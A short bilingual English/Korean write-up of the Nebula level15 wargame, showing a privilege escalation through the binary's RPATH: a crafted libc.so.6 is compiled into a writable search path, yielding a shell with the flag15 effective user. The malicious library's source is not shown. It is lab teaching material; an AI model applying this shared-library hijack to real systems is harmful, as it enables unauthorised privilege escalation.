July 07, 2019

Nebula level15 write up

In this write up, some hints related to this challenge only will be mentioned.

여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Level15

About
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

관련 사항.
"/home/flag15/flag15" 경로의 파일을 strace 명령어로 실행하라. 그리고 평소와 다른 부분을 확인하라.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

당신은 "리눅스에서 공유라이브러리를 컴파일 하는 방법"과 "dlopen"의 매뉴얼 패이지를 통해 라이브러리가 로드되고 처리되는 방법에 대해서 알고 싶어질 것이다.

Clean up after yourself :)    클리어하기를 기원한다. :)

To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.

level15(pw: level15) 계정을 이용한다. 관련 파일은 /home/flag15에 있다.

Source code    소스코드.
There is no source code available for this level    미공개.

We have tried to utilize environment variables in the previous challenge, so now we will use the RPATH property. Let's utilize the path "/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", which is the first search path.

이전 챌린지에서 환경 변수를 활용하는 것은 해보았으니 이번엔 RPATH 속성을 활용해볼 것이다. 관련하여 최초로 탐색하는 경로인 "/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6"를 활용해보도록 한다.

level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -shared -fPIC -Wl,--version-script=./version.map,-static -static-libgcc -o ./libc.so.6 ./libc.so.6.c
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ /home/flag15/flag15 sh-4.2$
sh-4.2$ id
uid=1016(level15) gid=1016(level15) euid=984(flag15) …
sh-4.2$ getflag
You have successfully executed getflag on a target account